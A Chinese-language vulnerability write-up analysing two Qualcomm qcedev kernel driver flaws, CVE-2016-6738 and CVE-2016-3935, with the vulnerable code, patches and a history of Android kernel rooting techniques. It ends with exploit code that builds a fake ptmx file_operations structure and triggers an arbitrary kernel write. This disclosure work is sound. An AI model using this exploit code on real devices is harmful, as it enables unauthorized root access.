前言
CVE-2016-3935 和 CVE-2016-6738 是我們發現的高通加解密引擎(Qualcomm crypto engine)的兩個提權漏洞,分別在2016年10月和11月的谷歌 android 漏洞榜被公開致謝,同時高通也在2016年10月和11月的漏洞公告里進行了介紹和公開致謝。這兩個漏洞報告給谷歌的時候都提交了exploit 并且被采納,這篇文章介紹一下這兩個漏洞的成因和利用。
背景知識
高通芯片提供了硬件加解密功能,并提供驅動給內核態和用戶態程序提供高速加解密服務,我們在這里收獲了多個漏洞,主要有3個驅動
- qcrypto driver: 供內核態程序使用的加解密接口
- qcedev driver: 供用戶態程序使用的加解密接口
- qce driver: 與加解密芯片交互,提供加解密驅動底層接口
Documentation/crypto/msm/qce.txt
Linux kernel
(ex:IPSec)<--*Qualcomm crypto driver----+
(qcrypto) |
(for kernel space app) |
|
+-->|
|
| *qce <----> Qualcomm
| driver ADM driver <---> ADM HW
+-->| | |
| | |
| | |
| | |
Linux kernel | | |
misc device <--- *QCEDEV Driver-------+ | |
interface (qcedev) (Reg interface) (DMA interface)
(for user space app) \ /
\ /
\ /
\ /
\ /
\ /
\ /
Qualcomm crypto CE3 HW
qcedev driver 就是本文兩個漏洞發生的地方,這個驅動通過 ioctl 接口為用戶層提供加解密和哈希運算服務。
Documentation/crypto/msm/qcedev.txt
Cipher IOCTLs:
--------------
QCEDEV_IOCTL_ENC_REQ is for encrypting data.
QCEDEV_IOCTL_DEC_REQ is for decrypting data.
The caller of the IOCTL passes a pointer to the structure shown
below, as the second parameter.
struct qcedev_cipher_op_req {
int use_pmem;
union{
struct qcedev_pmem_info pmem;
struct qcedev_vbuf_info vbuf;
};
uint32_t entries;
uint32_t data_len;
uint8_t in_place_op;
uint8_t enckey[QCEDEV_MAX_KEY_SIZE];
uint32_t encklen;
uint8_t iv[QCEDEV_MAX_IV_SIZE];
uint32_t ivlen;
uint32_t byteoffset;
enum qcedev_cipher_alg_enum alg;
enum qcedev_cipher_mode_enum mode;
enum qcedev_oper_enum op;
};
加解密服務的核心結構體是 struct qcedev_cipher_op_req, 其中, 待加/解密數據存放在 vbuf 變量里,enckey 是秘鑰, alg 是算法,這個結構將控制內核qce引擎的加解密行為。
Documentation/crypto/msm/qcedev.txt
Hashing/HMAC IOCTLs
-------------------
QCEDEV_IOCTL_SHA_INIT_REQ is for initializing a hash/hmac request.
QCEDEV_IOCTL_SHA_UPDATE_REQ is for updating hash/hmac.
QCEDEV_IOCTL_SHA_FINAL_REQ is for ending the hash/mac request.
QCEDEV_IOCTL_GET_SHA_REQ is for retrieving the hash/hmac for data
packet of known size.
QCEDEV_IOCTL_GET_CMAC_REQ is for retrieving the MAC (using AES CMAC
algorithm) for data packet of known size.
The caller of the IOCTL passes a pointer to the structure shown
below, as the second parameter.
struct qcedev_sha_op_req {
struct buf_info data[QCEDEV_MAX_BUFFERS];
uint32_t entries;
uint32_t data_len;
uint8_t digest[QCEDEV_MAX_SHA_DIGEST];
uint32_t diglen;
uint8_t *authkey;
uint32_t authklen;
enum qcedev_sha_alg_enum alg;
struct qcedev_sha_ctxt ctxt;
};
哈希運算服務的核心結構體是 struct qcedev_sha_op_req, 待處理數據存放在 data 數組里,entries 是待處理數據的份數,data_len 是總長度。
漏洞成因
可以通過下面的方法獲取本文的漏洞代碼
* git clone https://android.googlesource.com/kernel/msm.git
* git checkout android-msm-angler-3.10-nougat-mr2
* git checkout 6cc52967be8335c6f53180e30907f405504ce3dd drivers/crypto/msm/qcedev.c
CVE-2016-6738 漏洞成因
現在,我們來看第一個漏洞 cve-2016-6738
介紹漏洞之前,先科普一下linux kernel 的兩個小知識點
1) linux kernel 的用戶態空間和內核態空間是怎么劃分的?
簡單來說,在一個進程的地址空間里,比 thread_info->addr_limit 大的屬于內核態地址,比它小的屬于用戶態地址
2) linux kernel 用戶態和內核態之間數據怎么傳輸?
不可以直接賦值或拷貝,需要使用規定的接口進行數據拷貝,主要是4個接口:
copy_from_user/copy_to_user/get_user/put_user
這4個接口會對目標地址進行合法性校驗,比如:
copy_to_user = access_ok + __copy_to_user // __copy_to_user 可以理解為是 memcpy
下面看漏洞代碼
file: drivers/crypto/msm/qcedev.c
long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
switch (cmd) {
case QCEDEV_IOCTL_ENC_REQ:
case QCEDEV_IOCTL_DEC_REQ:
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_cipher_op_req)))
return -EFAULT;
if (__copy_from_user(&qcedev_areq.cipher_op_req,
(void __user *)arg,
sizeof(struct qcedev_cipher_op_req)))
return -EFAULT;
qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_CIPHER;
if (qcedev_check_cipher_params(&qcedev_areq.cipher_op_req,
podev))
return -EINVAL;
err = qcedev_vbuf_ablk_cipher(&qcedev_areq, handle);
if (err)
return err;
if (__copy_to_user((void __user *)arg,
&qcedev_areq.cipher_op_req,
sizeof(struct qcedev_cipher_op_req)))
return -EFAULT;
break;
...
}
return 0;
err:
debugfs_remove_recursive(_debug_dent);
return rc;
}
當用戶態通過 ioctl 函數進入 qcedev 驅動后,如果 command 是 QCEDEV_IOCTL_ENC_REQ(加密)或者 QCEDEV_IOCTL_DEC_REQ(解密),最后都會調用函數 qcedev_vbuf_ablk_cipher 進行處理。
file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher(struct qcedev_async_req *areq,
struct qcedev_handle *handle)
{
...
struct qcedev_cipher_op_req *creq = &areq->cipher_op_req;
/* Verify Source Address's */
for (i = 0; i < areq->cipher_op_req.entries; i++)
if (!access_ok(VERIFY_READ,
(void __user *)areq->cipher_op_req.vbuf.src[i].vaddr,
areq->cipher_op_req.vbuf.src[i].len))
return -EFAULT;
/* Verify Destination Address's */
if (creq->in_place_op != 1) {
for (i = 0, total = 0; i < QCEDEV_MAX_BUFFERS; i++) {
if ((areq->cipher_op_req.vbuf.dst[i].vaddr != 0) &&
(total < creq->data_len)) {
if (!access_ok(VERIFY_WRITE,
(void __user *)creq->vbuf.dst[i].vaddr,
creq->vbuf.dst[i].len)) {
pr_err("%s:DST WR_VERIFY err %d=0x%lx\n",
__func__, i, (uintptr_t)
creq->vbuf.dst[i].vaddr);
return -EFAULT;
}
total += creq->vbuf.dst[i].len;
}
}
} else {
for (i = 0, total = 0; i < creq->entries; i++) {
if (total < creq->data_len) {
if (!access_ok(VERIFY_WRITE,
(void __user *)creq->vbuf.src[i].vaddr,
creq->vbuf.src[i].len)) {
pr_err("%s:SRC WR_VERIFY err %d=0x%lx\n",
__func__, i, (uintptr_t)
creq->vbuf.src[i].vaddr);
return -EFAULT;
}
total += creq->vbuf.src[i].len;
}
}
}
total = 0;
...
if (areq->cipher_op_req.data_len > max_data_xfer) {
...
} else
err = qcedev_vbuf_ablk_cipher_max_xfer(areq, &di, handle,
... k_align_src);
return err;
}
在 qcedev_vbuf_ablk_cipher 函數里,首先對 creq->vbuf.src 數組里的地址進行了校驗,接下去它需要校驗 creq->vbuf.dst 數組里的地址
這時候我們發現,當變量 creq->in_place_op 的值不等于 1 時,它才會校驗 creq->vbuf.dst 數組里的地址,否則目標地址 creq->vbuf.dst[i].vaddr 將不會被校驗
這里的 creq->in_place_op 是一個用戶層可以控制的值,如果后續代碼對這個值沒有要求,那么這里就可以通過讓 creq->in_place_op = 1 來繞過對 creq->vbuf.dst[i].vaddr 的校驗,這是一個疑似漏洞
file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
int *di, struct qcedev_handle *handle,
uint8_t *k_align_src)
{
...
uint8_t *k_align_dst = k_align_src;
struct qcedev_cipher_op_req *creq = &areq->cipher_op_req;
if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
byteoffset = areq->cipher_op_req.byteoffset;
user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
if (user_src && __copy_from_user((k_align_src + byteoffset),
(void __user *)user_src,
areq->cipher_op_req.vbuf.src[0].len))
return -EFAULT;
k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;
for (i = 1; i < areq->cipher_op_req.entries; i++) {
user_src =
(void __user *)areq->cipher_op_req.vbuf.src[i].vaddr;
if (user_src && __copy_from_user(k_align_src,
(void __user *)user_src,
areq->cipher_op_req.vbuf.src[i].len)) {
return -EFAULT;
}
k_align_src += areq->cipher_op_req.vbuf.src[i].len;
}
...
while (creq->data_len > 0) {
if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
if (err == 0 && __copy_to_user(
(void __user *)creq->vbuf.dst[dst_i].vaddr,
(k_align_dst + byteoffset),
creq->vbuf.dst[dst_i].len))
return -EFAULT;
k_align_dst += creq->vbuf.dst[dst_i].len +
byteoffset;
creq->data_len -= creq->vbuf.dst[dst_i].len;
dst_i++;
} else {
if (err == 0 && __copy_to_user(
(void __user *)creq->vbuf.dst[dst_i].vaddr,
(k_align_dst + byteoffset),
creq->data_len))
return -EFAULT;
k_align_dst += creq->data_len;
creq->vbuf.dst[dst_i].len -= creq->data_len;
creq->vbuf.dst[dst_i].vaddr += creq->data_len;
creq->data_len = 0;
}
}
*di = dst_i;
return err;
};
在函數 qcedev_vbuf_ablk_cipher_max_xfer 里,我們發現它沒有再用到變量 creq->in_place_op, 也沒有對地址 creq->vbuf.dst[i].vaddr 做校驗,我們還可以看到該函數最后是使用 __copy_to_user 而不是 copy_to_user 從變量 k_align_dst 拷貝數據到地址 creq->vbuf.dst[i].vaddr
由于 __copy_to_user 本質上只是 memcpy, 且 __copy_to_user 的目標地址是 creq->vbuf.dst[dst_i].vaddr, 這個地址可以被用戶態控制, 這樣漏洞就坐實了,我們得到了一個內核任意地址寫漏洞。
接下去我們看一下能寫什么值
file: drivers/crypto/msm/qcedev.c
while (creq->data_len > 0) {
if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
if (err == 0 && __copy_to_user(
(void __user *)creq->vbuf.dst[dst_i].vaddr,
(k_align_dst + byteoffset),
creq->vbuf.dst[dst_i].len))
return -EFAULT;
k_align_dst += creq->vbuf.dst[dst_i].len +
byteoffset;
creq->data_len -= creq->vbuf.dst[dst_i].len;
dst_i++;
} else {
再看一下漏洞觸發的地方,源地址是 k_align_dst ,這是一個局部變量,下面看這個地址的內容能否控制。
static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
int *di, struct qcedev_handle *handle,
uint8_t *k_align_src)
{
int err = 0;
int i = 0;
int dst_i = *di;
struct scatterlist sg_src;
uint32_t byteoffset = 0;
uint8_t *user_src = NULL;
uint8_t *k_align_dst = k_align_src;
struct qcedev_cipher_op_req *creq = &areq->cipher_op_req;
if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
byteoffset = areq->cipher_op_req.byteoffset;
user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
if (user_src && __copy_from_user((k_align_src + byteoffset), // line 1160
(void __user *)user_src,
areq->cipher_op_req.vbuf.src[0].len))
return -EFAULT;
k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;
在函數 qcedev_vbuf_ablk_cipher_max_xfer 的行 1160 可以看到,變量 k_align_dst 的值是從用戶態地址拷貝過來的,可以被控制,但是,還沒完
1178 /* restore src beginning */
1179 k_align_src = k_align_dst;
1180 areq->cipher_op_req.data_len += byteoffset;
1181
1182 areq->cipher_req.creq.src = (struct scatterlist *) &sg_src;
1183 areq->cipher_req.creq.dst = (struct scatterlist *) &sg_src;
1184
1185 /* In place encryption/decryption */
1186 sg_set_buf(areq->cipher_req.creq.src,
1187 k_align_dst,
1188 areq->cipher_op_req.data_len);
1189 sg_mark_end(areq->cipher_req.creq.src);
1190
1191 areq->cipher_req.creq.nbytes = areq->cipher_op_req.data_len;
1192 areq->cipher_req.creq.info = areq->cipher_op_req.iv;
1193 areq->cipher_op_req.entries = 1;
1194
1195 err = submit_req(areq, handle);
1196
1197 /* copy data to destination buffer*/
1198 creq->data_len -= byteoffset;
行1195調用函數 submit_req ,這個函數的作用是提交一個 buffer 給高通加解密引擎進行加解密,buffer 的設置由函數 sg_set_buf 完成,通過行 1186 可以看到,變量 k_align_dst 就是被傳進去的 buffer , 經過這個操作后, 變量 k_align_dst 的值會被改變, 即我們通過__copy_to_user 傳遞給 creq->vbuf.dst[dst_i].vaddr 的值是被加密或者解密過一次的值。
那么我們怎么控制最終寫到任意地址的那個值呢?
思路很直接,我們將要寫的值先用一個秘鑰和算法加密一次,然后再用解密的模式觸發漏洞,在漏洞觸發過程中,會自動解密,如下:
1) 假設我們最終要寫的數據是A, 我們先選一個加密算法和key進行加密
buf = A
op = QCEDEV_OPER_ENC // operation 為加密
alg = QCEDEV_ALG_DES // 算法
mode = QCEDEV_DES_MODE_ECB
key = xxx // 秘鑰
=> B
2) 然后將B作為參數傳入 qcedev_vbuf_ablk_cipher_max_xfer 函數觸發漏洞,同時參數設置為解密操作,并且傳入同樣的解密算法和key
buf = B
op = QCEDEV_OPER_DEC //// operation 為解密
alg = QCEDEV_ALG_DES // 一樣的算法
mode = QCEDEV_DES_MODE_ECB
key = xxx // 一樣的秘鑰
=> A
這樣的話,經過 submit_req 操作后, line 1204 得到的 k_align_dst 就是我們需要的數據。
至此,我們得到了一個任意地址寫任意值的漏洞。
CVE-2016-6738 漏洞補丁
這個 漏洞的修復 很直觀,將 in_place_op 的判斷去掉了,對 creq->vbuf.src 和 creq->vbuf.dst 兩個數組里的地址挨個進行 access_ok 校驗
下面看第二個漏洞
CVE-2016-3935 漏洞成因
long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
switch (cmd) {
...
case QCEDEV_IOCTL_SHA_INIT_REQ:
{
struct scatterlist sg_src;
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (__copy_from_user(&qcedev_areq.sha_op_req,
(void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
return -EINVAL;
...
break;
...
case QCEDEV_IOCTL_SHA_UPDATE_REQ:
{
struct scatterlist sg_src;
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (__copy_from_user(&qcedev_areq.sha_op_req,
(void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
return -EINVAL;
...
break;
...
default:
return -ENOTTY;
}
return err;
}
在 command 為下面幾個case 里都會調用 qcedev_check_sha_params 函數對用戶態傳入的數據進行合法性校驗
- QCEDEV_IOCTL_SHA_INIT_REQ
- QCEDEV_IOCTL_SHA_UPDATE_REQ
- QCEDEV_IOCTL_SHA_FINAL_REQ
- QCEDEV_IOCTL_GET_SHA_REQ
static int qcedev_check_sha_params(struct qcedev_sha_op_req *req,
struct qcedev_control *podev)
{
uint32_t total = 0;
uint32_t i;
...
/* Check for sum of all src length is equal to data_len */
for (i = 0, total = 0; i < req->entries; i++) {
if (req->data[i].len > ULONG_MAX - total) {
pr_err("%s: Integer overflow on total req buf length\n",
__func__);
goto sha_error;
}
total += req->data[i].len;
}
if (total != req->data_len) {
pr_err("%s: Total src(%d) buf size != data_len (%d)\n",
__func__, total, req->data_len);
goto sha_error;
}
return 0;
sha_error:
return -EINVAL;
}
qcedev_check_sha_params 對用戶態傳入的數據做多種校驗,其中一項是對傳入的數據數組挨個累加長度,并對總長度做整數溢出校驗
問題在于, req->data[i].len 是 uint32_t 類型, 總長度 total 也是 uint32_t 類型,uint32_t 的上限是 UINT_MAX, 而這里使用了 ULONG_MAX 來做校驗
usr/include/limits.h
/* Maximum value an `unsigned long int' can hold. (Minimum is 0.) */
# if __WORDSIZE == 64
# define ULONG_MAX 18446744073709551615UL
# else
# define ULONG_MAX 4294967295UL
# endif
注意到:
- 32 bit 系統, UINT_MAX = ULONG_MAX
- 64 bit 系統, UINT_MAX != ULONG_MAX
所以這里的整數溢出校驗 在64bit系統是無效的,即在 64bit 系統,req->data 數組項的總長度可以整數溢出,這里還無法確定這個整數溢出能造成什么后果。
下面看看有何影響,我們選取 case QCEDEV_IOCTL_SHA_UPDATE_REQ
long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
case QCEDEV_IOCTL_SHA_UPDATE_REQ:
{
struct scatterlist sg_src;
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (__copy_from_user(&qcedev_areq.sha_op_req,
(void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
return -EINVAL;
qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_SHA;
if (qcedev_areq.sha_op_req.alg == QCEDEV_ALG_AES_CMAC) {
err = qcedev_hash_cmac(&qcedev_areq, handle, &sg_src);
if (err)
return err;
} else {
if (handle->sha_ctxt.init_done == false) {
pr_err("%s Init was not called\n", __func__);
return -EINVAL;
}
err = qcedev_hash_update(&qcedev_areq, handle, &sg_src);
if (err)
return err;
}
memcpy(&qcedev_areq.sha_op_req.digest[0],
&handle->sha_ctxt.digest[0],
handle->sha_ctxt.diglen);
if (__copy_to_user((void __user *)arg, &qcedev_areq.sha_op_req,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
}
break;
...
return err;
}
qcedev_areq.sha_op_req.alg 的值也是應用層控制的,當等于 QCEDEV_ALG_AES_CMAC 時,進入函數 qcedev_hash_cmac
868 static int qcedev_hash_cmac(struct qcedev_async_req *qcedev_areq,
869 struct qcedev_handle *handle,
870 struct scatterlist *sg_src)
871 {
872 int err = 0;
873 int i = 0;
874 uint32_t total;
875
876 uint8_t *user_src = NULL;
877 uint8_t *k_src = NULL;
878 uint8_t *k_buf_src = NULL;
879
880 total = qcedev_areq->sha_op_req.data_len;
881
882 /* verify address src(s) */
883 for (i = 0; i < qcedev_areq->sha_op_req.entries; i++)
884 if (!access_ok(VERIFY_READ,
885 (void __user *)qcedev_areq->sha_op_req.data[i].vaddr,
886 qcedev_areq->sha_op_req.data[i].len))
887 return -EFAULT;
888
889 /* Verify Source Address */
890 if (!access_ok(VERIFY_READ,
891 (void __user *)qcedev_areq->sha_op_req.authkey,
892 qcedev_areq->sha_op_req.authklen))
893 return -EFAULT;
894 if (__copy_from_user(&handle->sha_ctxt.authkey[0],
895 (void __user *)qcedev_areq->sha_op_req.authkey,
896 qcedev_areq->sha_op_req.authklen))
897 return -EFAULT;
898
899
900 k_buf_src = kmalloc(total, GFP_KERNEL);
901 if (k_buf_src == NULL) {
902 pr_err("%s: Can't Allocate memory: k_buf_src 0x%lx\n",
903 __func__, (uintptr_t)k_buf_src);
904 return -ENOMEM;
905 }
906
907 k_src = k_buf_src;
908
909 /* Copy data from user src(s) */
910 user_src = (void __user *)qcedev_areq->sha_op_req.data[0].vaddr;
911 for (i = 0; i < qcedev_areq->sha_op_req.entries; i++) {
912 user_src =
913 (void __user *)qcedev_areq->sha_op_req.data[i].vaddr;
914 if (user_src && __copy_from_user(k_src, (void __user *)user_src,
915 qcedev_areq->sha_op_req.data[i].len)) {
916 kzfree(k_buf_src);
917 return -EFAULT;
918 }
919 k_src += qcedev_areq->sha_op_req.data[i].len;
920 }
...
}
在函數 qcedev_hash_cmac 里, line 900 申請的堆內存 k_buf_src 的長度是 qcedev_areq->sha_op_req.data_len ,即請求數組里所有項的長度之和
然后在 line 911 ~ 920 的循環里,會將請求數組 qcedev_areq->sha_op_req.data[] 里的元素挨個拷貝到堆 k_buf_src 里,由于前面存在的整數溢出漏洞,這里會轉變成為一個堆溢出漏洞,至此漏洞坐實。
CVE-2016-3935 漏洞補丁

這個 漏洞補丁 也很直觀,就是在做整數溢出時,將 ULONG_MAX 改成了 U32_MAX, 這種因為系統由32位升級到64位導致的代碼漏洞,是 2016 年的一類常見漏洞
下面進入漏洞利用分析
漏洞利用
android kernel 漏洞利用基礎
在介紹本文兩個漏洞的利用之前,先回顧一下 android kernel 漏洞利用的基礎知識
什么是提權
include/linux/sched.h
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
...
/* process credentials */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
...
}
linux kernel 里,進程由 struct task_struct 表示,進程的權限由該結構體的兩個成員 real_cred 和 cred 表示
include/linux/cred.h
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
}
所謂提權,就是修改進程的 real_cred/cred 這兩個結構體的各種 id 值,隨著緩解措施的不斷演進,完整的提權過程還需要修改其他一些內核變量的值,但是最基礎的提權還是修改本進程的 cred, 這個任務又可以分解為多個問題:
- 怎么找到目標 cred ?
- cred 所在內存頁面是否可寫?
- 如何利用漏洞往 cred 所在地址寫值?
利用方法回顧
上圖是最近若干年圍繞 android kernel 漏洞利用和緩解的簡單回顧,
-
09 ~ 10 年的時候,由于沒有對 mmap 的地址范圍做任何限制,應用層可以映射0頁面,null pointer deref 漏洞在當時也是可以做利用的,后面針對這種漏洞推出了
mmap_min_addr限制,目前 null pointer deref 漏洞一般只能造成 dos. -
11 ~ 13 年的時候,常用的提權套路是從 /proc/kallsyms 搜索符號 commit_creds 和 prepare_kernel_cred 的地址,然后在用戶態通過這兩個符號構造一個提權函數(如下),
shellcode:
static void
obtain_root_privilege_by_commit_creds(void)
{
commit_creds(prepare_kernel_cred(0));
}
可以看到,這個階段的用戶態 shellcode 非常簡單, 利用漏洞改寫內核某個函數指針(最常見的就是 ptmx 驅動的 fsync 函數)將其實現替換為用戶態的函數, 最后在用戶態調用被改寫的函數, 這樣的話從內核直接執行用戶態的提權函數完成提權
這種方法在開源root套件 android_run_root_shell 得到了充分體現
后來,內核推出了 kptr_restrict/dmesg_restrict 措施使得默認配置下無法從 /proc/kallsyms 等接口搜索內核符號的地址
但是這種緩解措施很容易繞過, android_run_root_shell 里提供了兩種方法:
-
通過一些內存 pattern 直接在內存空間里搜索符號地址,從而得到
commit_creds/prepare_kernel_cred的值; libkallsyms:get_kallsyms_in_memory_addresses -
放棄使用
commit_creds/prepare_kernel_cred這兩個內核函數,從內核里直接定位到 task_struct 和 cred 結構并改寫 obtain_root_privilege_by_modify_task_cred
2013 推出 text RO 和 PXN 等措施,通過漏洞改寫內核代碼段或者直接跳轉到用戶態執行用戶態函數的提權方式失效了, android_run_root_shell 這個項目里的方法大部分已經失效, 在 PXN 時代,主要的提權思路是使用rop
具體的 rop 技巧有幾種,
下面兩篇文章講了基本的 linux kernel ROP 技巧
Linux Kernel ROP - Ropping your way to # (Part 1)/)
Linux Kernel ROP - Ropping your way to # (Part 2)/)

可以看到這兩篇文章的方法是搜索一些 rop 指令 ,然后用它們串聯 commit_creds/prepare_kernel_cred, 是對上一階段思路的自然延伸。
-
使用 rop 改寫 addr_limit 的值,破除本進程的系統調用 access_ok 校驗,然后通過一些函數如 ptrace_write_value_at_address 直接讀寫內核來提權, 將
selinux_enforcing變量寫 0 關閉 selinux -
大名鼎鼎的 Ret2dir bypass PXN
-
還有就是本文使用的思路,用漏洞重定向內核驅動的
xxx_operations結構體指針到應用層,再用 rop 地址填充應用層的偽xxx_operations里的函數實現 -
還有一些 2017 新出來的繞過緩解措施的技巧,參考
進入2017年,更多的漏洞緩解措施正在被開發和引進,谷歌的nick正在主導開發的項目 Kernel_Self_Protection_Project 對內核漏洞提權方法進行了分類整理,如下
- Kernel location
- Text overwrite
- Function pointer overwrite
- Userspace execution
- Userspace data usage
- Reused code chunks
針對以上提權方法,Kernel_Self_Protection_Project 開發了對應的一系列緩解措施,目前這些措施正在逐步推入linux kernel 主線,下面是其中一部分緩解方案,可以看到,我們回顧的所有利用方法都已經被考慮在內,不久的將來,這些方法可能都會失效
- Split thread_info off of kernel stack (Done: x86, arm64, s390. Needed on arm, powerpc and others?)
- Move kernel stack to vmap area (Done: x86, s390. Needed on arm, arm64, powerpc and others?)
- Implement kernel relocation and KASLR for ARM
- Write a plugin to clear struct padding
- Write a plugin to do format string warnings correctly (gcc’s -Wformat-security is bad about const strings)
- Make CONFIG_STRICT_KERNEL_RWX and CONFIG_STRICT_MODULE_RWX mandatory (done for arm64 and x86, other archs still need it)
- Convert remaining BPF JITs to eBPF JIT (with blinding) (In progress: arm)
- Write lib/test_bpf.c tests for eBPF constant blinding
- Further restriction of perf_event_open (e.g. perf_event_paranoid=3)
- Extend HARDENED_USERCOPY to use slab whitelisting (in progress)
- Extend HARDENED_USERCOPY to split user-facing malloc()s and in-kernel malloc()svmalloc stack guard pages (in progress)
- protect ARM vector table as fixed-location kernel target
- disable kuser helpers on arm
- rename CONFIG_DEBUG_LIST better and default=y
- add WARN path for page-spanning usercopy checks (instead of the separate CONFIG)
- create UNEXPECTED(), like BUG() but without the lock-busting, etc
- create defconfig “make” target for by-default hardened Kconfigs (using guidelines below)
- provide mechanism to check for ro_after_init memory areas, and reject structures not marked ro_after_init in vmbus_register()
- expand use of __ro_after_init, especially in arch/arm64
- Add stack-frame walking to usercopy implementations (Done: x86. In progress: arm64. Needed on arm, others?)
- restrict autoloading of kernel modules (like GRKERNSEC_MODHARDEN) (In progress: Timgad LSM)
有興趣的同學可以進入該項目看看代碼,提前了解一下緩解措施,
比如 KASLR for ARM, 將大部分內核對象的地址做了隨機化處理,這是以后 android kernel exploit 必須面對的;
另外比如 __ro_after_init ,內核啟動完成初始化之后大部分 fops 全局變量都變成 readonly 的,這造成了本文這種利用方法失效, 所幸的是,目前 android kernel 還是可以用的。
本文使用的利用方法
對照 Kernel_Self_Protection_Project 的利用分類,本文的利用思路屬于 Userspace data usage
Sometimes an attacker won’t be able to control the instruction pointer directly, but they will be able to redirect the dereference a structure or other pointer. In these cases, it is easiest to aim at malicious structures that have been built in userspace to perform the exploitation.
具體來說,我們在應用層構造一個偽 file_operations 結構體(其他如 tty_operations 也可以),然后通過漏洞改寫內核某一個驅動的 fops 指針,將其改指向我們在應用層偽造的結構體,之后,我們搜索特定的 rop 并隨時替換這個偽 file_operations 結構體里的函數實現,就可以做到在內核多次執行任意代碼(取決于rop) ,這種方法的好處包括:
- 內核有很多驅動,所以 fops 非常多,地址上也比較分散,對一些溢出類漏洞來說,選擇比較多
- 內核的 fops 一般都存放在 writable 的 data 區,至少目前android 主流 kernel 依然如此
- 將內核的 fops 指向用戶空間后,用戶空間可以隨意改寫其內部函數的實現
- 只需要一次內核寫
下面結合漏洞說明怎么利用
CVE-2016-6738 漏洞利用
CVE-2016-6738 是一個任意地址寫任意值的漏洞,利用代碼已經提交在 EXP-CVE-2016-6738
我們選擇重定向 /dev/ptmx 設備的 file_operations, 先在用戶態構造一個偽結構,如下
map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
if(map == MAP_FAILED) {
printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
ret = -1;
goto out;
}
//printf("[+] landing mmap'ed @ %p\n", map);
memset(map, 0x0, 0x10000);
fake_ptmx_fops = map;
printf("[+] fake_ptmx_fops = 0x%lx\n",fake_ptmx_fops);
*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;
根據前面的分析,偽結構的值需要先做一次加密,再使用
unsigned long edata = 0;
qcedev_encrypt(fd, fake_ptmx_fops, &edata);
trigger(fd, edata);
下面是核心的函數
static int trigger(int fd, unsigned long src)
{
int cmd;
int ret;
int size;
unsigned long dst;
struct qcedev_cipher_op_req params;
dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops
size = sizeof(unsigned long);
memset(¶ms, 0, sizeof(params));
cmd = QCEDEV_IOCTL_DEC_REQ;
params.entries = 1;
params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
params.alg = QCEDEV_ALG_DES;
params.mode = QCEDEV_DES_MODE_ECB;
params.data_len = size;
params.vbuf.src[0].len = size;
params.vbuf.src[0].vaddr = &src;
params.vbuf.dst[0].len = size;
params.vbuf.dst[0].vaddr = dst;
memcpy(params.enckey,"test", 16);
params.encklen = 16;
printf("[+] overwrite ptmx_cdev ops\n");
ret = ioctl(fd, cmd, ¶ms); // trigger
if(ret == -1) {
printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
